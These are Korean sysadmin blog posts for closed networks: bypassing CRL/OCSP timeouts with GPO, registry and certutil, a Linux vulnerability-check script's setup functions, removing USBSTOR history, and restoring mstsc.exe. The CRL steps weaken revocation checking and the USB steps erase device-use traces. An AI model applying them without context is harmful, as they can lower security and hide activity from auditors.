현직 보안 엔지니어 및 IT 관리자를 위해, 이 현상의 정확한 원인 분석부터 그룹 정책(GPO), 레지스트리, certutil 명령어를 활용한 단계별 해결책을 상세히 안내해 드립니다.

1. CRL 단절 장애의 정확한 발생 메커니즘

Windows 시스템에서 디지털 서명이 완료된 Executable(.exe), Dynamic Link Library(.dll), 또는 드라이버(.sys) 파일을 실행하면, OS 내부의 CryptoAPI(CAPI2)가 해당 파일의 서명 유효성을 검증합니다.

[프로그램 실행 요청] 
       │
       ▼
[디지털 서명 검증 (CAPI2)]
       │
       ▼
[상위 Root/Intermediate CA 확인]
       │
       ▼
[CRL / OCSP 외부 URL 접속 시도] ──(폐쇄망 차단)──► [타임아웃 대기 (30초~1분)]
       │                                                 │
       ▼                                                 ▼
[검증 실패 또는 지연 완료] ◄──────────────────────────────┘
       │
       ▼
[프로그램 실행 지연 또는 무응답 종료]

인증서 체인 확인: 파일에 서명된 인증서부터 최상위 루트 인증서(Root CA)까지의 체인을 검증합니다.
CRL/OCSP 검증 시도: 인증서 내부에 명시된 CDP(CRL Distribution Point) 또는 AIA(Authority Information Access)의 HTTP/LDAP 주소로 접속을 시도합니다.
네트워크 타임아웃 발생: 폐쇄망 환경 특성상 패킷이 드롭(Drop)되거나 차단되므로, Windows는 기본 타임아웃 시간 동안 응답을 기다립니다.
실행 지연 및 오류: 이 타임아웃 대기 시간으로 인해 작업 관리자에는 프로세스가 올라와 있으나 화면에는 뜨지 않는 '프리징' 현상이 발생합니다.

2. 해결 방안 1: 그룹 정책(GPO)을 통한 루트 인증서 자동 업데이트 및 CRL 검증 차단

도메인 환경(Active Directory) 또는 로컬 그룹 정책 편집기(gpedit.msc)를 통해 외부 네트워크 접속 시도 자체를 차단하는 방법입니다.

2-1. 루트 인증서 자동 업데이트 비활성화

외부 인터넷을 통한 자동 루트 인증서 업데이트 기능을 비활성화하여 불필요한 외산 서버 접속 시도를 차단합니다.

Win + R 키를 눌러 gpedit.msc를 실행합니다.
다음 경로로 이동합니다: 컴퓨터 구성 > 관리 템플릿 > 시스템 > 인터넷 통신 관리 > 인터넷 통신 설정
[루트 인증서 자동 업데이트 기능을 사용 안 함] (Turn off Automatic Root Certificates Update) 항목을 더블 클릭합니다.
[사용](Enabled)으로 변경한 후 적용합니다.

2-2. 인증서 경로 검증 타임아웃 단축 및 네트워크 조회 비활성화

인증서 검증 시 외부 네트워크 조회를 차단하거나, 대기 시간을 최소화하도록 설정합니다.

다음 경로로 이동합니다: 컴퓨터 구성 > Windows 설정 > 보안 설정 > 공개 키 정책
우측 창의 [인증서 경로 유효성 검사 설정](Certificate Path Validation Settings)을 더블 클릭합니다.
[네트워크 검색](Network Retrieval) 탭으로 이동합니다.
'이 정책 설정 정의'를 체크합니다.
[기본 검색 제한 시간 설정] 항목에서 다음 값을 변경합니다:
- 기본 경로 검색 타임아웃(초): 1 초 (기본값: 15초)
- 기본 누적 URL 검색 타임아웃(초): 1 초 (기본값: 20초)
하단의 '경로의 유효성을 검사하는 동안 발급자 인증서(AIA) 검색 허용(권장)' 체크를 해제합니다.

3. 해결 방안 2: 레지스트리(Registry) 직접 수정을 통한 일괄 적용

그룹 정책 적용이 불가능하거나, 스크립트(BAT/PowerShell)를 통해 여러 폐쇄망 장비에 일괄 적용해야 할 때 사용하는 레지스트리 설정 값입니다.

명령 프롬프트(CMD)를 관리자 권한으로 실행한 후 아래 명령어를 수행합니다.

DOS

:: 1. 루트 인증서 자동 업데이트 비활성화
reg add "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\AuthRoot" /v "DisableRootAutoUpdate" /t REG_DWORD /d 1 /f

:: 2. CAPI2 네트워크 검증 타임아웃 설정 (1초로 단축)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" /v "ChainUrlRetrievalTimeoutMilliseconds" /t REG_DWORD /d 1000 /f

:: 3. 오프라인 상태에서 CRL 조회 실패 시 즉시 바이패스 처리 설정
reg add "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" /v "DefaultFlags" /t REG_DWORD /d 4 /f

4. 해결 방안 3: certutil을 활용한 Root/Intermediate CA 및 CRL 오프라인 수동 등록

정책 설정으로 네트워크 접속을 차단했더라도, 특정 보안 프로그램은 인증서 체인 자체가 유효하지 않으면 동작을 거부할 수 있습니다. 이 경우 외부 망에서 다운로드한 Root CA, Intermediate CA, 그리고 CRL(.crl) 파일을 폐쇄망으로 반입하여 수동 등록해야 합니다.

4-1. 외부망 PC에서 인증서 및 CRL 다운로드 방법

프로그램 실행을 막는 해당 서명 인증서의 내역을 확인합니다.

실행되지 않는 .exe 파일 우클릭 > [속성] > [디지털 서명] 탭으로 이동합니다.
서명 목록에서 인증서를 선택하고 [자세히] > [인증서 보기]를 클릭합니다.
[자세한 정보] 탭에서 [CRL 배포 지점](CDP) URL(예: [http://crl.pki.example.com/ref.crl](http://crl.pki.example.com/ref.crl))을 확인 후 인터넷이 되는 환경에서 해당 URL에 접속하여 .crl 파일을 다운로드합니다.

4-2. 폐쇄망 PC에 CLI 명령어로 수동 등록

반입한 인증서 및 CRL 파일을 관리자 권한 CMD에서 아래 명령어를 이용해 저장소에 등록합니다.

:: 루트 인증서(Root CA) 등록
certutil -addstore -f Root "C:\<<Path>>\To\RootCA.cer"

:: 중계 인증서(Intermediate CA) 등록
certutil -addstore -f CA "C:\<<Path>>\To\IntermediateCA.cer"

:: CRL(인증서 실효 목록) 수동 등록
certutil -addstore -f Root "C:\<<Path>>\To\Certificate.crl"
certutil -addstore -f CA "C:\<<Path>>\To\Certificate.crl"

:: 캐시된 검증 정보 초기화 (수동 등록 반영)
certutil -urlcache * delete

5. 트러블 슈팅 결과 검증 방법

모든 조치를 완료한 후, 정상적으로 조치가 되었는지 검증하는 두 가지 방법입니다.

5-1. CAPI2 이벤트 로그를 통한 타임아웃 제거 확인

eventvwr.msc를 실행합니다.
[응용 프로그램 및 서비스 로그] > [Microsoft] > [Windows] > [CAPI2] > [Operational]로 이동합니다.
우측 창에서 '로그 사용'을 클릭하여 활성화한 후 문제가 되던 프로그램을 실행합니다.
이벤트 결과 중 Result 값이 0 (SUCCESS)으로 떨어지거나, NetworkRetrievalTimeout 관련 에러(Error) 메시지가 더 이상 발생하지 않는지 확인합니다.

5-2. CLI를 통한 URLFetch 테스트

관리자 권한 CMD에서 아래 명령어를 수행하여 오프라인 상태에서의 검증 속도를 측정합니다.

certutil -verify -urlfetch "C:\Path\To\TargetApp.exe"

결과 출력 시 Retrieval: ERROR가 출력되더라도, 타임아웃 대기 시간 없이 즉시(1초 이내) 결과가 반환된다면 CRL 단절로 인한 지연 문제는 완전히 해결된 것입니다.

폐쇄망 환경에서의 Windows 트러블 슈팅은 네트워크가 차단된 상황을 고려하여 OS의 기본 동작 메커니즘을 적절히 제어하는 것이 핵심입니다. 위 가이드에 따라 레지스트리 및 GPO 타임아웃을 단축하고, 필요한 루트 인증서를 사전에 배포해 두신다면 CRL 단절로 인한 서비스 장애를 완벽히 예방할 수 있습니다.

[리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

보안실무자J — Tue, 28 Jul 2026 14:44:58 +0900

[리눅스 보안취약점 점검] 자동화 스크립트 공통 함수 및 환경 설정

1. 점검 목적

시스템 진단에 앞서 필요한 환경 변수(날짜, OS 종류, 권한 등)를 초기화하고, 진단 결과를 저장할 파일 및 디렉터리를 자동 생성하는 것이 일차적인 목적입니다.
또한, 스크립트 전반에서 사용될 화면 출력 포맷과 결과 파일 저장 로직을 함수화하여 코드의 중복을 방지하고 진단 결과의 가독성과 신뢰성을 확보하고자 합니다.

2. 점검 항목 (환경 설정 및 공통 함수)

대상 OS: Linux
주요 기능: 환경 변수 정의, 로그/결과 파일 초기화, 결과 출력 함수 정의(양호/취약/정보), 타임아웃 처리 로직, root 권한 검증

3. 점검 방법 (스크립트 소스 코드 분석)

아래 코드는 제공된 자동 점검 스크립트의 환경 설정 및 공통 함수 선언부입니다.

Bash

#!/bin/bash

# ==============================================================================
# 1. 환경 설정 및 변수 초기화
# ==============================================================================
START_TIME=$(date +%s)            # 스크립트 시작 시간 기록 (유닉스 타임)
TODAY=$(date +%y%m%d)             # 오늘 날짜 (YYMMDD 포맷)
mkdir -p "$TODAY-result"          # 결과 저장 디렉터리 생성

LOG="./$TODAY-result/check.log"   # 상세 로그 파일 경로
RESULT="./$TODAY-result/$TODAY-result.txt" # 최종 진단 결과 파일 경로
OS_NAME=$(uname -s)               # 운영체제 이름 확인 (Linux)

# 기존 로그 및 결과 파일 초기화 (0 바이트로 만듦)
> "$LOG"
> "$RESULT"

# 요약을 위한 배열 선언
WARN_LIST=()                     # 취약 항목 메시지 저장 배열
INFO_LIST=()                     # 정보/수동점검 항목 메시지 저장 배열
CURRENT_CODE=""                  # 현재 점검 중인 항목 코드 (예: U-01)
CURRENT_ID=""                    # 현재 점검 중인 항목 ID (숫자 추출용)

# ==============================================================================
# 2. 화면 출력 및 결과 파일 저장 공통 함수 정의
# ==============================================================================

# 구분선 출력 함수
BAR() {
    echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" | tee -a "$RESULT"
}

# 주요 요약 정보 출력 함수 (Cyan 색상)
SUMMARY() {
    printf '\033[36m %s\033[0m\n' "$*" | tee -a "$RESULT"
}

# 양호 결과 출력 함수 (Green 색상)
OK() {
    echo -e '\033[32m'"[ 양호 ] : $1"'\033[0m' | tee -a "$RESULT"
    if [ -n "$2" ]; then
        echo -e '\033[90m'"  => 판단 사유: $2"'\033[0m' | tee -a "$RESULT"
    fi
}

# 취약 결과 출력 함수 (Red 색상) 및 WARN_LIST 배열 추가
WARN() {
    local msg="[ 취약 $CURRENT_ID ] : $1"
    echo -e '\033[31m'"$msg"'\033[0m' | tee -a "$RESULT"
    if [ -n "$2" ]; then
        echo -e '\033[90m'"  => 판단 사유: $2"'\033[0m' | tee -a "$RESULT"
    fi
    WARN_LIST+=("$msg")          # 최종 요약을 위해 배열에 저장
}

# 정보/수동점검 결과 출력 함수 (Yellow 색상) 및 INFO_LIST 배열 추가
INFO() {
    local msg="[ 정보/수동점검 $CURRENT_ID ] : $1"
    echo -e '\033[33m'"$msg"'\033[0m' | tee -a "$RESULT"
    if [ -n "$2" ]; then
        echo -e '\033[90m'"  => 참고 내용: $2"'\033[0m' | tee -a "$RESULT"
    fi
    INFO_LIST+=("$msg")          # 최종 요약을 위해 배열에 저장
}

# 점검 항목 시작 알림 함수 (Cyan 색상 및 ID 추출)
CODE(){
    CURRENT_CODE="$*"
    CURRENT_ID=$(echo "$CURRENT_CODE" | grep -oE 'U-[0-9]{1,2}') # 항목에서 U-번호 추출
    echo "" | tee -a "$RESULT"   # 가독성을 위한 개행
    echo -e '\033[36m'"■ $CURRENT_CODE"'\033[0m' | tee -a "$RESULT"
}

# 항목 점검 완료 처리 및 구분선 출력 함수
FINISH() {
    echo -e '\033[90m'"▶ $*"'\033[0m' | tee -a "$RESULT" # 참고 링크 등 출력
    BAR
}

# ==============================================================================
# 3. 진단 결과 파일 헤더 작성 및 기본 정보 기록
# ==============================================================================
cat << EOF > $RESULT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 [ 2026 주요정보통신기반시설 기반 보안 취약점 점검 스크립트(리눅스)]                                                 
    - 스크립트 사용 전 충분한 검증을 수행하시고 사용하기 바랍니다.
	- 스크립트 사용에 대한 책임은 사용자에게 있습니다.
    - 2026 주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드를 기반으로 작성되었습니다.
	- 총 67개의 항목을 점검합니다.
	- 수동점검 항목이 존재하며, 사용자가 직접 확인 후 판단하여야 합니다.
    - 해당 스크립트는 취약점을 자동으로 조치하여 주지 않습니다.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

EOF

SUMMARY "운영체제: $OS_NAME"
SUMMARY "진단일시: $(date)"
BAR

# ==============================================================================
# 4. 타임아웃 실행 함수 (명령어 지연/Hang 방지)
# ==============================================================================
EXEC_TIMEOUT() {
    local WAIT_TIME=$1          # 첫 번째 인자: 제한 시간(초)
    shift
    local COMMAND="$*"          # 나머지 인자: 실행할 명령어 전체

    # 1. timeout 명령어가 지원되는 환경 (대부분의 최신 리눅스)
    if command -v timeout >/dev/null 2>&1; then
        timeout "$WAIT_TIME" bash -c "$COMMAND"
        local STATUS=$?
        return "$STATUS"        # timeout 종료 시 124 반환
    else
        #  지원되지 않는 경우 수동 구현 (백그라운드 실행 후 PID 감시)
        bash -c "$COMMAND" &
        local CMD_PID=$!
        local COUNT=0
        
        # 프로세스 생존 여부를 1초마다 확인
        while kill -0 "$CMD_PID" 2>/dev/null; do
            sleep 1
            COUNT=$((COUNT + 1))
            # 제한 시간 도달 시 강제 종료 (kill -9)
            if [ "$COUNT" -ge "$WAIT_TIME" ]; then
                kill -9 "$CMD_PID" 2>/dev/null
                return 124      # 타임아웃 반환 코드 고정
            fi
        done
        wait "$CMD_PID" 2>/dev/null
        return $?
    fi
}

# ==============================================================================
# 5. 사전 검증: root 권한 확인
# ==============================================================================
if [ "$(id -u)" -ne 0 ]; then
    echo "=============================================================================="
    echo "[ 실행 오류 ] 이 진단 스크립트는 시스템 주요 설정 파일을 점검합니다."
    echo "             따라서 반드시 root 권한(관리자)으로 실행해야 합니다."
    echo ""
    echo "  ▶ 현재 접속 계정: $(whoami)"
    echo "  ▶ 올바른 실행 방법: sudo $0"
    echo "=============================================================================="
    exit 1                      # root가 아니면 스크립트 강제 종료
fi

[라인 바이 라인(Line-by-Line) 코드 해설]

1~16 라인 (환경 변수 초기화 및 디렉터리 생성):
- 스크립트 실행에 필요한 시간 정보(START_TIME), 날짜(TODAY), 운영체제 종류(uname -s)를 변수에 저장합니다.
- 날짜별로 결과 디렉터리를 생성(mkdir -p)하고, 상세 로그(check.log)와 최종 결과 파일(YYMMDD-result.txt)의 경로를 정의합니다.
- > "$LOG" 구문을 통해 진단 시작 전 기존 파일 내용을 초기화하여 0 바이트로 만듭니다.
18~22 라인 (요약용 배열 선언):
- WARN_LIST=(), INFO_LIST=()를 선언하여 진단 중 발견된 취약(FAIL) 항목과 수동점검(INFO) 항목의 메시지를 저장했다가 스크립트 최하단에서 요약 출력하는 데 사용합니다.
28~86 라인 (출력 및 저장 공통 함수 정의 - BAR, SUMMARY, OK, WARN, INFO, CODE, FINISH):
- ANSI 색상 코드(Green, Red, Yellow, Cyan 등)를 활용하여 터미널 화면에서 진단 결과를 시각적으로 명확하게 구분합니다.
- 모든 함수 내 명령어 뒤에 | tee -a "$RESULT"를 붙여 화면 출력과 동시에 최종 결과 파일에 내용을 누적 저장(-a 옵션)합니다.
- WARN, INFO 함수는 색상 출력과 동시에 앞서 선언한 배열(WARN_LIST, INFO_LIST)에 메시지를 누적(+=)합니다.
- CODE 함수는 점검 시작 시 grep을 이용하여 점검 항목 문자열에서 CURRENT_ID(예: U-01)를 자동으로 추출하여 이후 WARN, INFO 함수에서 사용하도록 합니다.
91~107 라인 (결과 파일 헤더 작성):
- cat << EOF > $RESULT 구문을 사용하여 스크립트의 버전, 출처, 주의사항 등을 담은 긴 텍스트 블록을 결과 파일의 맨 윗부분에 저장합니다.
110~112 라인 (기본 정보 기록):
- 앞서 정의한 SUMMARY, BAR 함수를 호출하여 운영체제 이름과 진단 일시를 결과 파일에 기록합니다.
119~150 라인 (EXEC_TIMEOUT 함수 정의):
- 진단 중 응답이 없거나 매우 느린 명령어(Hang 현상)로 인해 스크립트 전체가 멈추는 것을 방지하는 핵심 함수입니다.
- 시스템에 timeout 명령어가 존재(command -v)하면 이를 활용하고, 없는 구형 Unix 시스템의 경우 명령어를 백업그라운드(&)로 실행한 후 PID를 감시하여 수동으로 제한 시간을 처리하도록 구현되어 호환성을 확보했습니다. 타임아웃 발생 시 결과 코드 124를 반환합니다.
155~166 라인 (root 권한 사전 검증):
- 시스템 보안 설정을 진단하기 위해서는 주요 설정 파일(/etc/shadow, /etc/ssh/sshd_config 등)에 대한 읽기 권한이 필수적입니다.
- id -u 명령어의 결과가 0(root의 UID)이 아닌 경우 에러 메시지를 출력하고 스크립트를 즉시 강제 종료(exit 1)하여 오진을 방지합니다.

[스크립트 보완 및 예외 처리 제안]

보완 필요 요소: 전반적으로 매우 완성도 높은 초기 선언부입니다. 다만, 다수의 리눅스 배포판 및 구형 Unix 시스템과의 호환성을 더욱 강화하기 위해 아래와 같은 개선안을 제안해 드립니다.
권한 확인 로직 보완: id -u를 지원하지 않는 아주 오래된 유닉스 시스템 환경을 고려하여 사용자를 확인하는 방식을 강화할 수 있습니다.
날짜 포맷 변경: 결과 파일의 가독성과 파일 정렬을 위해 날짜 포맷을 YYMMDD에서 YYYYMMDD 형식으로 변경하는 것을 권장합니다.

Bash

# 권장 개선 코드 (2 라인)
START_TIME=$(date +%s 2>/dev/null || perl -e 'print time') # date +%s 미지원 유닉스 대응
TODAY=$(date +%Y%m%d)             # 20260101 포맷으로 변경

# 권장 개선 코드 (155~156 라인 - root 권한 확인 강화)
CURRENT_USER=$(id -u 2>/dev/null || whoami)
if [ "$CURRENT_USER" != "0" ] && [ "$CURRENT_USER" != "root" ]; then
    # ... 에러 메시지 출력 로직 ...
    exit 1
fi

안내문 및 면책조항

본 포스팅에서 제공하는 스크립트 상세 설명 및 조치 가이드는 리눅스 시스템 보안 강화를 목적으로 작성되었습니다. 시스템의 특성, 운영 서비스의 종류 및 배포판 버전에 따라 설정을 적용한 후 로그인 불가 등의 영향도가 발생할 수 있으므로 반드시 테스트 환경에서 사전 검증을 거친 후 적용하시기 바랍니다.
리눅스 서버 진단 전체 자동화 스크립트 원본 압축파일의 비밀번호는 비밀댓글을 남겨 주시면 확인 후 송부해 드리겠습니다. 본 가이드의 코드를 활용하여 발생하는 시스템 장애 및 불이익에 대한 책임은 사용자 본인에게 있습니다.

Linux_VulnCheck_2026_v2.5.zip

0.02MB

윈도우 레지스트리 USBSTOR 삭제 오류 해결: 장치 관리자를 통한 안전한 우회 방법

보안실무자J — Mon, 27 Jul 2026 16:58:10 +0900

윈도우 시스템을 관리하다 보면 보안이나 시스템 초기화 목적으로 과거의 하드웨어 접속 흔적을 지워야 할 때가 있습니다. 특히 USB 저장장치의 사용 이력이 기록되는 HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR 레지스트리 키를 삭제하려는 경우가 대표적입니다.

하지만 많은 관리자가 관리자 권한(Administrators 그룹)을 가지고 있음에도 불구하고, 이 키를 삭제할 때 "키를 삭제하는 동안 오류가 발생했습니다"라는 메시지와 함께 거부당하는 경험을 합니다.

오늘은 이 오류가 발생하는 팩트 기반의 이유와, 폐쇄망과 같은 제약된 환경에서도 외부 도구 없이 윈도우 순정 기능만으로 안전하게 문제를 해결하는 방법을 공유합니다.

1. 왜 삭제되지 않을까?

가장 먼저 이해해야 할 점은 이것이 단순한 권한 설정 오류가 아니라는 것입니다.

커널 레벨의 보호: 문제의 Enum 하위 키는 윈도우 커널(PnP 매니저)이 플러그 앤 플레이 장치의 하드웨어 트리를 관리하는 핵심 영역입니다. 윈도우는 OS 가동 중에 이 영역이 무단으로 수정되어 시스템 안정성이 저해되는 것을 막기 위해 권한 이상의 강력한 보호 메커니즘을 가동합니다.
하위 키의 권한 잠금: 소유자가 Administrators로 되어 있더라도, 그 하위에 존재하는 개별 USB 기기의 고유 ID 폴더들은 커널에 의해 실시간으로 잠겨 있거나 제각각 다른 시스템 권한이 부여되어 있습니다.

따라서 윈도우가 정상 가동 중인 상태(Online)에서는 그 어떤 전지전능한 권한을 가져와도 이 키를 '직접' 날려버리는 것은 커널 레벨에서 거부되도록 설계되어 있습니다.

2. 안전한 해결책: 장치 관리자 우회법

만약 목적이 "과거의 USB 접속 흔적(이력) 제거"라면, 위험하게 레지스트리를 강제로 부수지 않고 시스템이 스스로 이 기록을 정리하게 만드는 우회법이 가장 확실하고 안전합니다.

이 방법은 폐쇄망과 같이 외부 프로그램을 사용할 수 없는 환경에서도 사용할 수 있는 윈도우 순정 기본 기능입니다.

[단계별 절차]

관리자 권한으로 명령 프롬프트(CMD) 실행: 반드시 관리자 권한으로 CMD를 엽니다.
숨겨진 장치 로드 설정: 현재 PC에 연결되지 않은 과거의 장치 목록까지 모두 불러오기 위해 아래 명령어를 입력합니다. (아무런 메시지가 없어야 정상입니다.)
set devmgr_show_nonpresent_devices=1
장치 관리자 실행: 같은 CMD 창에 아래 명령어를 입력하여 장치 관리자를 실행합니다.
devmgmt.msc
숨겨진 장치 표시 활성화: 장치 관리자 상단 메뉴에서 [보기] -> [숨겨진 장치 표시]를 반드시 체크합니다.
과거 흔적 제거:
- 목록 중 [디스크 드라이브] 및 [범용 직렬 버스 컨트롤러] 항목을 펼칩니다.
- 지금 연결되지 않은 과거 장치들은 아이콘이 흐리게(투명하게) 보입니다.
- 이 흐릿한 USB 장치들을 마우스 우클릭한 뒤 [장치 제거]를 선택합니다.

[결과]

장치 관리자에서 제거를 완료하면, 윈도우 커널은 해당 장치가 시스템에서 완전히 제거된 것으로 판단합니다. 이 과정에서 Enum\USBSTOR 하위에 있던 해당 USB의 레지스트리 키를 시스템이 알아서 안전하게 동반 삭제합니다.

직접 레지스트리를 건드리는 위험 없이 목적을 달성할 수 있습니다.

요약 및 주의사항

윈도우 시스템 핵심 영역인 Enum 레지스트리는 직접 삭제보다 시스템 명령을 통한 우회 제거가 훨씬 신뢰할 수 있는 방법입니다. 이 방법은 폐쇄망에서도 완벽하게 작동합니다.

참고: 만약 이 방법으로도 흔적이 남거나, 반드시 키 자체를 완전히 날려버려야 하는 특수 목적이 있다면, 윈도우 복구 환경(WinRE)으로 진입하여 오프라인 하이브 로드 상태에서 하위 ACL(권한 목록)을 초기화하고 지워야 하는 작업이 필요합니다.

[폐쇄망환경] mstsc.exe 파일 삭제 및 MUI 오류 발생 시 복구 방법

보안실무자J — Thu, 23 Jul 2026 15:56:01 +0900

[폐쇄망환경] mstsc.exe 파일 삭제 및 MUI 오류 발생 시 복구 방법

인터넷 연결이 차단된 폐쇄망 환경에서 업무를 진행하다 보면, 시스템 설정 변경이나 실수로 인해 원격 데스크톱 연결(mstsc.exe) 프로그램이 삭제되는 상황이 발생할 수 있습니다.

외부망을 통한 파일 다운로드가 불가능한 상태에서 이 조치를 시도하면, 간혹 "mstsc.exe.MUI 파일이 없습니다"라는 오류 메시지가 나타나며 실행이 차단되기도 합니다.

이러한 문제는 외부 프로그램 설치 없이, Windows 운영체제 내부에 기본적으로 보관되어 있는 시스템 백업 저장소를 활용하여 해결할 수 있습니다. 그 구체적인 복구 절차를 안내해 드립니다.

MUI 오류 발생 원인

Windows의 주요 실행 파일(*.exe)은 프로그램의 기본 로직만을 담당합니다. 사용자 화면에 표시되는 한글 메뉴나 레이아웃 정보는 별도의 언어 전용 파일인 MUI(Multilingual User Interface)에 저장됩니다.

mstsc.exe: 원격 데스크톱 실행 파일
mstscax.dll: 원격 연결에 필요한 라이브러리 파일
mstsc.exe.mui: 한국어 사용자 인터페이스 파일

따라서 실행 파일인 mstsc.exe만 복구하고 언어 파일인 mstsc.exe.mui를 제자리에 두지 않으면 시스템은 실행 환경을 구성하지 못하고 오류를 발생시킵니다. 원활한 구동을 위해서는 세 가지 파일이 모두 정해진 경로에 위치해야 합니다.

원격 데스크톱 구성 요소 및 MUI 오류의 개념도

Windows 내부 저장소(WinSxS)를 활용한 복구 절차

Windows 운영체제는 시스템 파일 손상에 대비하여 WinSxS라는 내부 저장소에 주요 파일의 원본을 보관합니다. 인터넷이 연결되어 있지 않더라도 명령 프롬프트를 이용해 이 파일들을 추출할 수 있습니다.

1. 명령 프롬프트 관리자 권한 실행

키보드의 Windows 키를 누른 뒤 cmd를 입력합니다.
검색 결과에 나타나는 명령 프롬프트를 마우스 우클릭한 후 [관리자 권한으로 실행]을 선택합니다.

2. 백업 파일 추출 명령어 입력

명령 프롬프트 창에 아래의 명령어를 순서대로 입력하고 각 줄마다 Enter 키를 누릅니다. 이 작업은 내부 저장소에서 필요한 원본 파일들을 찾아 C:\ 경로로 복사하는 과정을 수행합니다.

mstsc.exe 파일 추출

for /f "delims=" %i in ('dir /b /s "C:\Windows\WinSxS\*mstsc.exe"') do copy "%i" "C:\mstsc.exe"

mstscax.dll 파일 추출

for /f "delims=" %i in ('dir /b /s "C:\Windows\WinSxS\*mstscax.dll"') do copy "%i" "C:\mstscax.dll"

mstsc.exe.mui 파일 추출

for /f "delims=" %i in ('dir /b /s "C:\Windows\WinSxS\*mstsc.exe.mui"') do copy "%i" "C:\mstsc.exe.mui"

3. 추출된 파일의 올바른 경로 배치

명령어 실행이 완료되면 C:\ 최상단 경로에 세 개의 파일이 생성됩니다. 이 파일들을 지정된 시스템 폴더로 각각 이동시켜야 합니다.

이동해야 할 지정경로

파일명	이동해야 할 지정 경로
mstsc.exe	C:\Windows\System32\
mstscax.dll	C:\Windows\System32\
mstsc.exe.mui	C:\Windows\System32\ko-KR\

※ System32 폴더 내에 ko-KR 폴더가 존재하지 않는 경우, 새 폴더를 생성하여 해당 이름을 지정한 뒤 mstsc.exe.mui 파일을 넣으시면 됩니다.

정상 작동 여부 확인

모든 파일의 배치가 완료된 후 정상적으로 프로그램이 복구되었는지 확인합니다.

Windows + R 키를 눌러 실행 창을 열어줍니다.
mstsc를 입력하고 확인을 누릅니다.
원격 데스크톱 연결 창이 오류 없이 정상적으로 실행되는지 확인합니다.

정리

폐쇄망 환경에서 시스템 주요 파일이 손실된 경우, 외부 파일에 의존하기보다 Windows 내부의 WinSxS 저장소를 활용하는 것이 가장 안전하고 확실한 복구 방법입니다. 위의 절차를 차근차근 진행하시면 원격 데스크톱 기능을 정상적으로 재개하실 수 있습니다.